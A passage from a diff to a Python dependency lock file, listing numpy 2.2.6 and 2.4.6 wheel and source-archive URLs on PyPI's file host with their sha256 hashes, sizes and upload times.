+ { url = "https://files.pythonhosted.org/packages/61/c6/03ed30992602c85aa3cd95b9070a514f8b3c33e31124694438d88809ae36/numpy-2.2.6-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:37c0ca431f82cd5fa716eca9506aefcabc247fb27ba69c5062a6d3ade8cf8f49", size = 15505511, upload-time = "2025-05-17T21:36:29.965Z" },
+ { url = "https://files.pythonhosted.org/packages/b7/25/5761d832a81df431e260719ec45de696414266613c9ee268394dd5ad8236/numpy-2.2.6-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fe27749d33bb772c80dcd84ae7e8df2adc920ae8297400dabec45f0dedb3f6de", size = 18313783, upload-time = "2025-05-17T21:36:56.883Z" },
+ { url = "https://files.pythonhosted.org/packages/57/0a/72d5a3527c5ebffcd47bde9162c39fae1f90138c961e5296491ce778e682/numpy-2.2.6-cp312-cp312-win32.whl", hash = "sha256:4eeaae00d789f66c7a25ac5f34b71a7035bb474e679f410e5e1a94deb24cf2d4", size = 6246506, upload-time = "2025-05-17T21:37:07.368Z" },
+ { url = "https://files.pythonhosted.org/packages/36/fa/8c9210162ca1b88529ab76b41ba02d433fd54fecaf6feb70ef9f124683f1/numpy-2.2.6-cp312-cp312-win_amd64.whl", hash = "sha256:c1f9540be57940698ed329904db803cf7a402f3fc200bfe599334c9bd84a40b2", size = 12614190, upload-time = "2025-05-17T21:37:26.213Z" },
+ { url = "https://files.pythonhosted.org/packages/f9/5c/6657823f4f594f72b5471f1db1ab12e26e890bb2e41897522d134d2a3e81/numpy-2.2.6-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0811bb762109d9708cca4d0b13c4f67146e3c3b7cf8d34018c722adb2d957c84", size = 20867828, upload-time = "2025-05-17T21:37:56.699Z" },
+ { url = "https://files.pythonhosted.org/packages/dc/9e/14520dc3dadf3c803473bd07e9b2bd1b69bc583cb2497b47000fed2fa92f/numpy-2.2.6-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:287cc3162b6f01463ccd86be154f284d0893d2b3ed7292439ea97eafa8170e0b", size = 14143006, upload-time = "2025-05-17T21:38:18.291Z" },
+ { url = "https://files.pythonhosted.org/packages/4f/06/7e96c57d90bebdce9918412087fc22ca9851cceaf5567a45c1f404480e9e/numpy-2.2.6-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:f1372f041402e37e5e633e586f62aa53de2eac8d98cbfb822806ce4bbefcb74d", size = 5076765, upload-time = "2025-05-17T21:38:27.319Z" },
+ { url = "https://files.pythonhosted.org/packages/73/ed/63d920c23b4289fdac96ddbdd6132e9427790977d5457cd132f18e76eae0/numpy-2.2.6-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:55a4d33fa519660d69614a9fad433be87e5252f4b03850642f88993f7b2ca566", size = 6617736, upload-time = "2025-05-17T21:38:38.141Z" },
+ { url = "https://files.pythonhosted.org/packages/85/c5/e19c8f99d83fd377ec8c7e0cf627a8049746da54afc24ef0a0cb73d5dfb5/numpy-2.2.6-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f92729c95468a2f4f15e9bb94c432a9229d0d50de67304399627a943201baa2f", size = 14010719, upload-time = "2025-05-17T21:38:58.433Z" },
+ { url = "https://files.pythonhosted.org/packages/19/49/4df9123aafa7b539317bf6d342cb6d227e49f7a35b99c287a6109b13dd93/numpy-2.2.6-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1bc23a79bfabc5d056d106f9befb8d50c31ced2fbc70eedb8155aec74a45798f", size = 16526072, upload-time = "2025-05-17T21:39:22.638Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/6c/04b5f47f4f32f7c2b0e7260442a8cbcf8168b0e1a41ff1495da42f42a14f/numpy-2.2.6-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e3143e4451880bed956e706a3220b4e5cf6172ef05fcc397f6f36a550b1dd868", size = 15503213, upload-time = "2025-05-17T21:39:45.865Z" },
+ { url = "https://files.pythonhosted.org/packages/17/0a/5cd92e352c1307640d5b6fec1b2ffb06cd0dabe7d7b8227f97933d378422/numpy-2.2.6-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b4f13750ce79751586ae2eb824ba7e1e8dba64784086c98cdbbcc6a42112ce0d", size = 18316632, upload-time = "2025-05-17T21:40:13.331Z" },
+ { url = "https://files.pythonhosted.org/packages/f0/3b/5cba2b1d88760ef86596ad0f3d484b1cbff7c115ae2429678465057c5155/numpy-2.2.6-cp313-cp313-win32.whl", hash = "sha256:5beb72339d9d4fa36522fc63802f469b13cdbe4fdab4a288f0c441b74272ebfd", size = 6244532, upload-time = "2025-05-17T21:43:46.099Z" },
+ { url = "https://files.pythonhosted.org/packages/cb/3b/d58c12eafcb298d4e6d0d40216866ab15f59e55d148a5658bb3132311fcf/numpy-2.2.6-cp313-cp313-win_amd64.whl", hash = "sha256:b0544343a702fa80c95ad5d3d608ea3599dd54d4632df855e4c8d24eb6ecfa1c", size = 12610885, upload-time = "2025-05-17T21:44:05.145Z" },
+ { url = "https://files.pythonhosted.org/packages/6b/9e/4bf918b818e516322db999ac25d00c75788ddfd2d2ade4fa66f1f38097e1/numpy-2.2.6-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:0bca768cd85ae743b2affdc762d617eddf3bcf8724435498a1e80132d04879e6", size = 20963467, upload-time = "2025-05-17T21:40:44Z" },
+ { url = "https://files.pythonhosted.org/packages/61/66/d2de6b291507517ff2e438e13ff7b1e2cdbdb7cb40b3ed475377aece69f9/numpy-2.2.6-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:fc0c5673685c508a142ca65209b4e79ed6740a4ed6b2267dbba90f34b0b3cfda", size = 14225144, upload-time = "2025-05-17T21:41:05.695Z" },
+ { url = "https://files.pythonhosted.org/packages/e4/25/480387655407ead912e28ba3a820bc69af9adf13bcbe40b299d454ec011f/numpy-2.2.6-cp313-cp313t-macosx_14_0_arm64.whl", hash = "sha256:5bd4fc3ac8926b3819797a7c0e2631eb889b4118a9898c84f585a54d475b7e40", size = 5200217, upload-time = "2025-05-17T21:41:15.903Z" },
+ { url = "https://files.pythonhosted.org/packages/aa/4a/6e313b5108f53dcbf3aca0c0f3e9c92f4c10ce57a0a721851f9785872895/numpy-2.2.6-cp313-cp313t-macosx_14_0_x86_64.whl", hash = "sha256:fee4236c876c4e8369388054d02d0e9bb84821feb1a64dd59e137e6511a551f8", size = 6712014, upload-time = "2025-05-17T21:41:27.321Z" },
+ { url = "https://files.pythonhosted.org/packages/b7/30/172c2d5c4be71fdf476e9de553443cf8e25feddbe185e0bd88b096915bcc/numpy-2.2.6-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e1dda9c7e08dc141e0247a5b8f49cf05984955246a327d4c48bda16821947b2f", size = 14077935, upload-time = "2025-05-17T21:41:49.738Z" },
+ { url = "https://files.pythonhosted.org/packages/12/fb/9e743f8d4e4d3c710902cf87af3512082ae3d43b945d5d16563f26ec251d/numpy-2.2.6-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f447e6acb680fd307f40d3da4852208af94afdfab89cf850986c3ca00562f4fa", size = 16600122, upload-time = "2025-05-17T21:42:14.046Z" },
+ { url = "https://files.pythonhosted.org/packages/12/75/ee20da0e58d3a66f204f38916757e01e33a9737d0b22373b3eb5a27358f9/numpy-2.2.6-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:389d771b1623ec92636b0786bc4ae56abafad4a4c513d36a55dce14bd9ce8571", size = 15586143, upload-time = "2025-05-17T21:42:37.464Z" },
+ { url = "https://files.pythonhosted.org/packages/76/95/bef5b37f29fc5e739947e9ce5179ad402875633308504a52d188302319c8/numpy-2.2.6-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8e9ace4a37db23421249ed236fdcdd457d671e25146786dfc96835cd951aa7c1", size = 18385260, upload-time = "2025-05-17T21:43:05.189Z" },
+ { url = "https://files.pythonhosted.org/packages/09/04/f2f83279d287407cf36a7a8053a5abe7be3622a4363337338f2585e4afda/numpy-2.2.6-cp313-cp313t-win32.whl", hash = "sha256:038613e9fb8c72b0a41f025a7e4c3f0b7a1b5d768ece4796b674c8f3fe13efff", size = 6377225, upload-time = "2025-05-17T21:43:16.254Z" },
+ { url = "https://files.pythonhosted.org/packages/67/0e/35082d13c09c02c011cf21570543d202ad929d961c02a147493cb0c2bdf5/numpy-2.2.6-cp313-cp313t-win_amd64.whl", hash = "sha256:6031dd6dfecc0cf9f668681a37648373bddd6421fff6c66ec1624eed0180ee06", size = 12771374, upload-time = "2025-05-17T21:43:35.479Z" },
+ { url = "https://files.pythonhosted.org/packages/9e/3b/d94a75f4dbf1ef5d321523ecac21ef23a3cd2ac8b78ae2aac40873590229/numpy-2.2.6-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:0b605b275d7bd0c640cad4e5d30fa701a8d59302e127e5f79138ad62762c3e3d", size = 21040391, upload-time = "2025-05-17T21:44:35.948Z" },
+ { url = "https://files.pythonhosted.org/packages/17/f4/09b2fa1b58f0fb4f7c7963a1649c64c4d315752240377ed74d9cd878f7b5/numpy-2.2.6-pp310-pypy310_pp73-macosx_14_0_x86_64.whl", hash = "sha256:7befc596a7dc9da8a337f79802ee8adb30a552a94f792b9c9d18c840055907db", size = 6786754, upload-time = "2025-05-17T21:44:47.446Z" },
+ { url = "https://files.pythonhosted.org/packages/af/30/feba75f143bdc868a1cc3f44ccfa6c4b9ec522b36458e738cd00f67b573f/numpy-2.2.6-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ce47521a4754c8f4593837384bd3424880629f718d87c5d44f8ed763edd63543", size = 16643476, upload-time = "2025-05-17T21:45:11.871Z" },
+ { url = "https://files.pythonhosted.org/packages/37/48/ac2a9584402fb6c0cd5b5d1a91dcf176b15760130dd386bbafdbfe3640bf/numpy-2.2.6-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:d042d24c90c41b54fd506da306759e06e568864df8ec17ccc17e9e884634fd00", size = 12812666, upload-time = "2025-05-17T21:45:31.426Z" },
+]
+
+[[package]]
+name = "numpy"
+version = "2.4.6"
+source = { registry = "https://pypi.org/simple" }
+resolution-markers = [
+ "python_full_version == '3.11.*'",
+]
+sdist = { url = "https://files.pythonhosted.org/packages/d0/ad/fed0499ce6a338d2a03ebae59cd15093910c8875328855781952abf6c2fe/numpy-2.4.6.tar.gz", hash = "sha256:f3a3570c4a2a16746ac2c31a7c7c7b0c186b95ce902e33db6f28094ed7387dda", size = 20735807, upload-time = "2026-05-18T23:37:14.07Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/b3/49/ec46835a70be8fa6446c495126ac84fdb28cb2558e1620ffb87a10c8b64c/numpy-2.4.6-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:0280e0356c0829a18d9de1cb7eee50ec22ca639878d7240307ca0943d73cd2c4", size = 16969194, upload-time = "2026-05-18T23:33:13.503Z" },
+ { url = "https://files.pythonhosted.org/packages/0e/0d/f5957185c0ee2f3e12f78715aa9e3b353fd83633316c8532b38faa37e3f6/numpy-2.4.6-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:110f8b71aacb688ec69062bb7f6938a0f8acb01b7c1c4beb453c65b6d234584d", size = 14964111, upload-time = "2026-05-18T23:33:17.795Z" },
+ { url = "https://files.pythonhosted.org/packages/ad/40/40a40ee0ddf7ceb782c49af278894b686e586d65d8c1889c8b5da01a3d7d/numpy-2.4.6-cp311-cp311-macosx_14_0_arm64.whl", hash = "sha256:4cfe66903cc32a9921a6733d96b19bb6abf310397581bbad89c228f5abaf0ee8", size = 5469159, upload-time = "2026-05-18T23:33:20.654Z" },
+ { url = "https://files.pythonhosted.org/packages/63/13/f9a8046535cb21deae82f8d03de9617e08882d274fad2539630761888228/numpy-2.4.6-cp311-cp311-macosx_14_0_x86_64.whl", hash = "sha256:8155154c7c691289fe18f510b5d4657c68c67989f293f0535a91360392ff6538", size = 6798936, upload-time = "2026-05-18T23:33:22.987Z" },
+ { url = "https://files.pythonhosted.org/packages/33/a8/6fa8c1a345a8c85dbb21932c447bee07c30a2c2a3f31e369c0a84b300147/numpy-2.4.6-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ab0a9c4ffb1a6d95ef519fe4247dba8eb6b18ad93999f76b7f657039acabd47", size = 15966692, upload-time = "2026-05-18T23:33:26.62Z" },
+ { url = "https://files.pythonhosted.org/packages/02/03/74fe2a4cb3817d94d86402f2506554130a2f01414e299b5a843e5a8a957f/numpy-2.4.6-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:89cd468399cfd2504718f0ba50e410dca55a170b61a02ad92bb18c8a65186e93", size = 16918164, upload-time = "2026-05-18T23:33:29.955Z" },
+ { url = "https://files.pythonhosted.org/packages/c5/80/3615be3313f7e7696609bc194b9f0101da809df79e859bdb84e0cd043f46/numpy-2.4.6-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c2d37ab77531417474168eb79d6d80b14f821a966818505d03013d0833edb7a8", size = 17322877, upload-time = "2026-05-18T23:33:34.724Z" },
+ { url = "https://files.pythonhosted.org/packages/ca/ac/a691e0fe2675e370d0e08ff905adc49a1c8830e8cae03efe4477e92cd55d/numpy-2.4.6-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f407cb6b8e9d6d8c626bc73c945db1706035af8fd632295547bf1c9e46d092d6", size = 18651487, upload-time = "2026-05-18T23:33:38.217Z" },
+ { url = "https://files.pythonhosted.org/packages/15/a7/9bc1cd626d7bf6869bfedf27b91b6ab5dd607758bf8e959d6fa80c6a59cb/numpy-2.4.6-cp311-cp311-win32.whl", hash = "sha256:ddea102b48f9e339f3948bf22040944184627a30fdf7f858667673b9c5f033c8", size = 6233945, upload-time = "2026-05-18T23:33:41.331Z" },
+ { url = "https://files.pythonhosted.org/packages/c5/31/7fc6239c12bce7e931463251cca4426c465e1876ba3cc785402ef4dd8f4e/numpy-2.4.6-cp311-cp311-win_amd64.whl", hash = "sha256:1e254a00cdf42b1e4d5b3d68d33af63268d41340d8885df2ab6470f2e1500147", size = 12608406, upload-time = "2026-05-18T23:33:44.131Z" },
+ { url = "https://files.pythonhosted.org/packages/27/83/140f85a466595a16382996a1bf06b2b54bcd597488921b0c9daaeeda72af/numpy-2.4.6-cp311-cp311-win_arm64.whl", hash = "sha256:ed9749eef4cbd126da3dc1d6bcb3a57f5eb7ac6a6484146bdbf743f552dfc577", size = 10479528, upload-time = "2026-05-18T23:33:50.725Z" },
+ { url = "https://files.pythonhosted.org/packages/95/2a/3d7b5ac8aac24feaf9ad7ed58f45b0bbc06d37e4338ae84c9f2298b570f9/numpy-2.4.6-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:001fbb8e08d942dd57599e781f2472269ee7f2755fae407b4f67b2f0b17da3f1", size = 16689119, upload-time = "2026-05-18T23:33:54.065Z" },
+ { url = "https://files.pythonhosted.org/packages/ea/12/92c4c131527599e8288d6918e888d88726f84d805d784b771f32408aeaef/numpy-2.4.6-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ebfb099f8dcf083deef3ac1ca4c1503f387cf76296fcb3816b66f5ecb5f54fdb", size = 14699246, upload-time = "2026-05-18T23:33:57.621Z" },
+ { url = "https://files.pythonhosted.org/packages/ad/fe/c0a6b7b2ca128a8fb228575147073b660656734b8ebe4d76c8fd748dcc79/numpy-2.4.6-cp312-cp312-macosx_14_0_arm64.whl", hash = "sha256:3213d622a0283a39a93d188f3cf72b26862df52fbb4ca3697f51705016523d41", size = 5204410, upload-time = "2026-05-18T23:34:00.302Z" },
+ { url = "https://files.pythonhosted.org/packages/f3/d4/9770d14ba719432bb90a421bfd443872ed0f70f7264b64bec12ea363d5fd/numpy-2.4.6-cp312-cp312-macosx_14_0_x86_64.whl", hash = "sha256:357cc07a6d7b0b182ff02249616a03742827ebb1277546b5c7cd7f7620a45698", size = 6551240, upload-time = "2026-05-18T23:34:02.852Z" },
+ { url = "https://files.pythonhosted.org/packages/c9/c6/50a46a6205feba2343f1d6d17438107c5dc491ed1c736e6ea68689fd906b/numpy-2.4.6-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5f9fb9157b4ce2971008323afe46053787b526ef624fea915b261468a8421a0f", size = 15671012, upload-time = "2026-05-18T23:34:05.485Z" },
+ { url = "https://files.pythonhosted.org/packages/99/60/14115e6364fa676c5397c2ad3004e527e9aa487abf5d0706ec81bbd08529/numpy-2.4.6-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:90f9849678c75fe7afa2d348ac842c168b0a4d3d61919687216dfc547976d853", size = 16645538, upload-time = "2026-05-18T23:34:09.265Z" },
+ { url = "https://files.pythonhosted.org/packages/ae/c5/693cbe59e57db94d2231fa519ca3978dc9e19da5a8f088588f5c6e947ff2/numpy-2.4.6-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:c1a2af6c6ef86344a6b0db6b97834208bf598db514f2b155042439b62605601a", size = 17020706, upload-time = "2026-05-18T23:34:13.053Z" },
+ { url = "https://files.pythonhosted.org/packages/ef/fc/85b7c4eff9b4966ade25c2273cf7e7012e92366c032058653934b37de044/numpy-2.4.6-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e5805d5a22fd19c8ccff10a9561f9df94436b0545619ea579db2d3c35294bce2", size = 18368541, upload-time = "2026-05-18T23:34:17.024Z" },
+ { url = "https://files.pythonhosted.org/packages/f6/81/e1b27545deedce7f4a0b348618c6b62d74e36a4dc9ccd42f3eb2f85eee32/numpy-2.4.6-cp312-cp312-win32.whl", hash = "sha256:e3eeb0aabd6bd5ce64faae67e9935203a6991b4bc2a485a767fbafb2c5125f45", size = 5962825, upload-time = "2026-05-18T23:34:20.3Z" },
+ { url = "https://files.pythonhosted.org/packages/ab/ca/feab00bd44aa5fe1ad2c18f08b4d3bb92e26484b0b1d1443897809ed528c/numpy-2.4.6-cp312-cp312-win_amd64.whl", hash = "sha256:d8e8286dd7cea7895157318d1b91cdacac64c479f3cbc8dce548331728484751", size = 12321687, upload-time = "2026-05-18T23:34:23.095Z" },
+ { url = "https://files.pythonhosted.org/packages/63/cf/5a6d34850a39d1093558564f77ee8e8e0bee5061151b8f05a55711001ec7/numpy-2.4.6-cp312-cp312-win_arm64.whl", hash = "sha256:4081eb135ac24158bd51cdfbef16f1c64df7063b1143f24731387137c092bec8", size = 10221482, upload-time = "2026-05-18T23:34:25.876Z" },
+ { url = "https://files.pythonhosted.org/packages/fb/82/bdab26d7438c6791ca31b7c024ca37c1eab8b726ba236129005cd4a06e45/numpy-2.4.6-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:511dbaf848decaaaf4b4ca48032619fb3138710c4bf7da7617765edad1ef96b0", size = 16684648, upload-time = "2026-05-18T23:34:29.41Z" },
+ { url = "https://files.pythonhosted.org/packages/1b/30/a80189bcc7f5e4258b3fbc3968d909d1756f54d023299ecc39ad6fdb9ef8/numpy-2.4.6-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:bf162abab1c1a736333192707cef898e735a5ca00f38f27eeedf44b39d9e85eb", size = 14693902, upload-time = "2026-05-18T23:34:33.013Z" },
+ { url = "https://files.pythonhosted.org/packages/97/12/70b5d0d7c15e1ebb8a6a84a8caa1d19e181d84fb58bb6d70aca29099dec1/numpy-2.4.6-cp313-cp313-macosx_14_0_arm64.whl", hash = "sha256:043191bfa8eab18c776647b62723ac9dddece59743b13f49b2016094129c2b3f", size = 5198992, upload-time = "2026-05-18T23:34:36.132Z" },
+ { url = "https://files.pythonhosted.org/packages/ba/8c/ebd2a8f8a83541f8d38cc5667e8c2b69cecfd30da6e45693e8158857d44b/numpy-2.4.6-cp313-cp313-macosx_14_0_x86_64.whl", hash = "sha256:6180d8b35af935aed8ece3a85e0a43f87393ae0ac87c8d2c8bd2c993f7270ef3", size = 6546944, upload-time = "2026-05-18T23:34:38.484Z" },
+ { url = "https://files.pythonhosted.org/packages/bb/c5/7b863a97a91671a0338f4253bd3b5a3d3852f0692dae91711c9f4a10e787/numpy-2.4.6-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:72fbe16c6fac95aedf5937fa873445cec2110be35d8a4e9433d7501fd98dae6b", size = 15669392, upload-time = "2026-05-18T23:34:41.257Z" },
+ { url = "https://files.pythonhosted.org/packages/a5/9d/3584b9984ca4c047aea75214ce1a4c4c73d849bd71b604264b7f5653f8a8/numpy-2.4.6-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a7830bab239b79cda9c08c2da014761cafb48da6150e1da17ac06283f43b6089", size = 16633220, upload-time = "2026-05-18T23:34:45.075Z" },
+ { url = "https://files.pythonhosted.org/packages/05/ae/7c67fba23bd98caec7c99261f3a16072ade14813486b0282cb29846de832/numpy-2.4.6-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:ef4aea96ce4d3b074422cb4f2f64e216bf9e213004bb58ecfdf50ea02ea8eb9a", size = 17020800, upload-time = "2026-05-18T23:34:49.065Z" },
+ { url = "https://files.pythonhosted.org/packages/d9/5d/3b6725cb31d983c5e66916f5d36f6d7e5521129e4c4404d64f918292a5b6/numpy-2.4.6-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:dfa20cc6ca228e6b155b11da03825975ce66aea520985dbbddf0f2a5a495c605", size = 18357600, upload-time = "2026-05-18T23:34:52.709Z" },
+ { url = "https://files.pythonhosted.org/packages/f7/da/2ccc6c2fe8898dee01d90c75c5f5f914a23daf99e3e0f59516a08760c8b5/numpy-2.4.6-cp313-cp313-win32.whl", hash = "sha256:56b39e5e0622a09a25bf5baf62f4bcf0cb8a41ae6e2819cf49bbc5a74c083f91", size = 5961134, upload-time = "2026-05-18T23:34:55.618Z" },
+ { url = "https://files.pythonhosted.org/packages/b5/cd/9cc4dc876fb065d5c220aae4d5e14826b2715331bb7618ce1fb07a679d99/numpy-2.4.6-cp313-cp313-win_amd64.whl", hash = "sha256:c4fc99836233ea196540b17ab0983aff60ed07941751930f5f4d05bc3b3b7359", size = 12318598, upload-time = "2026-05-18T23:34:58.928Z" },
+ { url = "https://files.pythonhosted.org/packages/39/1e/c0bcba1f8694116485fe28fd1be698c278fcda4141c5b0e53a2aed8b12a8/numpy-2.4.6-cp313-cp313-win_arm64.whl", hash = "sha256:a7c711e21628b52034bb5ab8d1bce291f752fcc5e92accc615778acee1ff4778", size = 10222272, upload-time = "2026-05-18T23:35:02.167Z" },
+ { url = "https://files.pythonhosted.org/packages/63/6d/cc5619247c8f4204e507f5883528372e4ac4bb189e579fb859a12e480b1f/numpy-2.4.6-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:112b06a867b235ef466ed3508ddf0238050df9c727cafb5301ac385b899189a1", size = 14821197, upload-time = "2026-05-18T23:35:05.468Z" },
+ { url = "https://files.pythonhosted.org/packages/00/58/f1c39161c87d9e9bed660f1ed4bafc0e403d5ec9650b6dd77aead07d489b/numpy-2.4.6-cp313-cp313t-macosx_14_0_arm64.whl", hash = "sha256:eaf7fa2de5c0be8ae6ff8e9bea2ccd725e980541244521d8d4b5f3354a27babe", size = 5326287, upload-time = "2026-05-18T23:35:08.693Z" },
+ { url = "https://files.pythonhosted.org/packages/af/57/3917ab0fd97f271a8694513581b8a36c655f111c446852c302f04ccdb6fc/numpy-2.4.6-cp313-cp313t-macosx_14_0_x86_64.whl", hash = "sha256:7265a2f3d436e54ef9f2b52b5c937e6be778781bd97a590319d7348f1c1ca997", size = 6646763, upload-time = "2026-05-18T23:35:11.459Z" },
+ { url = "https://files.pythonhosted.org/packages/eb/0f/037e64c494b67581ae18193d770adef354c41f3f2c8ebf865602d949bf8f/numpy-2.4.6-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f74a575920ab21fe304421a3fc28793d82e299cae9eccb37084e9fc7f3617c20", size = 15728070, upload-time = "2026-05-18T23:35:14.79Z" },
+ { url = "https://files.pythonhosted.org/packages/21/a6/5d2bae9c9542eb4df16dc9c46dc79c186e9bad53805dfa5399a6023c6db0/numpy-2.4.6-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ede83e07a75dd06bc501566c1eca2afc0d61677c1472ac9ad93fdee6e638a48d", size = 16681752, upload-time = "2026-05-18T23:35:18.836Z" },
+ { url = "https://files.pythonhosted.org/packages/92/14/23d1dfb410ae362cd59ce53e936b1513d545eb40db3949ced632e19a459e/numpy-2.4.6-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:68bb27509ac1b9a3443094260f6326150663b06abe40b73a2f81160623da5b67", size = 17086024, upload-time = "2026-05-18T23:35:22.52Z" },
+ { url = "https://files.pythonhosted.org/packages/4b/6e/23595a2c642cdf3bc567877064bdd7f91c8b0038a4453cf2daf7248eafe9/numpy-2.4.6-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:a0df0043bdb289bde1f62da130d20df23d58b45429f752bc7a8fc5325a225ecd", size = 18403398, upload-time = "2026-05-18T23:35:26.398Z" },
+ { url = "https://files.pythonhosted.org/packages/8a/90/0ac3bc947217e66dec77e7cbc6a1979d1af70b6461b82f620d3bccd5e4c8/numpy-2.4.6-cp313-cp313t-win32.whl", hash = "sha256:29a287e0cf63ff528da061de6b9f64a4618da591ca1046aafc54062e40ca7eab", size = 6084971, upload-time = "2026-05-18T23:35:29.387Z" },
+ { url = "https://files.pythonhosted.org/packages/77/71/5673e351671a1d2bd6063b91b44f70c0affea7d1516fa7a6572941ba4aa1/numpy-2.4.6-cp313-cp313t-win_amd64.whl", hash = "sha256:25c692919ac5a01f170a3bfcd62d745b24fd095c353d50812637d6fcab442e75", size = 12458532, upload-time = "2026-05-18T23:35:32.175Z" },
+ { url = "https://files.pythonhosted.org/packages/3f/88/19d3503c5046e688f049274b27a3ef3d771152fa80d3ba3d01a3dff61abe/numpy-2.4.6-cp313-cp313t-win_arm64.whl", hash = "sha256:1e978ec1e8bd0e0e4de6bb75de9d30cbb74db6b6a2bb727618613703ca0167dd", size = 10291881, upload-time = "2026-05-18T23:35:35.465Z" },
+ { url = "https://files.pythonhosted.org/packages/f8/91/3ab2044d05fd16d343c5ac2e69b127f1b2854040dd20b193257c78028bd3/numpy-2.4.6-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:06ca2f61ec4385a07a6977c55ba998a4466c123642b4a32694d3128fce18c079", size = 16683458, upload-time = "2026-05-18T23:35:38.353Z" },
+ { url = "https://files.pythonhosted.org/packages/8e/62/764ce66fa4147ae6d73071a3abf804ffe606f174618697c571acdf26a7c9/numpy-2.4.6-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:38efbc8de75c7a0fc1ac190162d892787f3f47b57cc291231aafee36b80982b7", size = 14704559, upload-time = "2026-05-18T23:35:42.14Z" },
+ { url = "https://files.pythonhosted.org/packages/60/61/23f27c172f022e04025b7dc2367f4d63c1a398120607ec896228649a6f48/numpy-2.4.6-cp314-cp314-macosx_14_0_arm64.whl", hash = "sha256:d581b735e177fdcdce6fed8e7e8880a3fb6ee4e3653a3ac6af01c6f4c03effc5", size = 5209716, upload-time = "2026-05-18T23:35:45.377Z" },
+ { url = "https://files.pythonhosted.org/packages/03/71/21cf70dc6ea3e3acb95fc53a265b2fc248b981f0194ceb5b475271b8809d/numpy-2.4.6-cp314-cp314-macosx_14_0_x86_64.whl", hash = "sha256:0a041d3d761dc3c35cc56ce0351506a02bcbc25f7b169f652435141a17db9096", size = 6543947, upload-time = "2026-05-18T23:35:47.926Z" },
+ { url = "https://files.pythonhosted.org/packages/d5/91/64288395ee1799bd2e0b04a305dce9666da90c961e1f3fe982a05ee1c036/numpy-2.4.6-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:40fdc1ae7125e518ea98e53e69a4ebc27e1fd50510c47b7ea130cf21e5e1d42b", size = 15685197, upload-time = "2026-05-18T23:35:50.863Z" },
+ { url = "https://files.pythonhosted.org/packages/f3/eb/ebffaa97dc55502df69584a8f0dcf07f69a3e0b3e2323670a2722db9aa39/numpy-2.4.6-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a2c306dea656c12c68f51f4cea133cbe78ca7435eb28c735eac1d3ebe73be6e8", size = 16638245, upload-time = "2026-05-18T23:35:54.752Z" },
+ { url = "https://files.pythonhosted.org/packages/b8/0b/54f9da33128d7e350fab89c7455902eeae70349ee52bddb448dc4a576f45/numpy-2.4.6-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:33111801a01c12a8a1e3721f0a9232f8cfc8ae2c6b7098167e6f623c6073f402", size = 17036587, upload-time = "2026-05-18T23:35:58.355Z" },
+ { url = "https://files.pythonhosted.org/packages/b6/f0/fdebc1052db1cc37c64beb22072d67cd6d1c71adca1299f53dec2b5e20d3/numpy-2.4.6-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ae506e6902902557576a26ff33eda8695e7ecb3cb36c3b573a0765dee114ebdb", size = 18363226, upload-time = "2026-05-18T23:36:02.845Z" },
